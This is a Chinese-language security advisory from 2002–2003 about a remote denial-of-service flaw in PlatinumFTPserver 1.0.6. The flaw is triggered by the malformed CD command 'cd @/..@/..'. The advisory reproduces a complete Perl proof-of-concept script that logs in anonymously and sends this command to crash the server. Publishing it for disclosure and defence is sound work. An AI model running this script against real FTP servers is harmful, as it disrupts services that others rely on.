首页 -> 安全研究

安全研究

安全漏洞
Platinum FTP Server远程拒绝服务攻击漏洞

发布日期:2002-12-30
更新日期:2003-01-06

受影响系统:
Byte/400 PlatinumFTPserver 1.0.6
    - Microsoft Windows XP
    - Microsoft Windows NT
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000
描述:
BUGTRAQ  ID: 6494

Platinum FTP server是一款方便容易管理的FTP服务程序,可使用在各种Windows系统上。

Platinum FTP服务程序不正确处理特殊CD命令,远程攻击者可以利用这个漏洞发送恶意请求,导致服务器产生拒绝服务。

任何合法用户帐户的攻击者或者Platinum FTP server允许匿名访问的情况下,可以提交特殊CD命令('cd @/..@/..')给FTP服务器,会使系统消耗大量CPU时间而造成拒绝服务攻击。

<*来源:Dennis Rand (DER@cowi.dk
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104127904730204&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Dennis Rand (DER@cowi.dk)提供了如下测试方法:

#!/usr/bin/perl
#
# PlatinumFTPserver V1.0.6 DoS attack
# http://www.PlatinumFTP.com
# Dennis Rand - der@cowi.dk
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
#
#
use Net::FTP;

    
$target = shift() || die "usage: target ip";
my $user = "anonymous";
my $pass = "crash\@burn.com";

system('cls');
print "PlatinumFTPserver V1.0.6 DoS attack\n";
print "Trying to connect to target system at: $target...\n";
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect: $!";
$ftp->login($user, $pass) || die "could not login: $!";
$ftp->cwd("/");

print "Trying to crash the FTP service...\n";
$ftp->cwd("cd @/..@/..");
$ftp->quit;

建议:
厂商补丁:

Byte/400
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.platinumftp.com/

浏览次数:2746
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障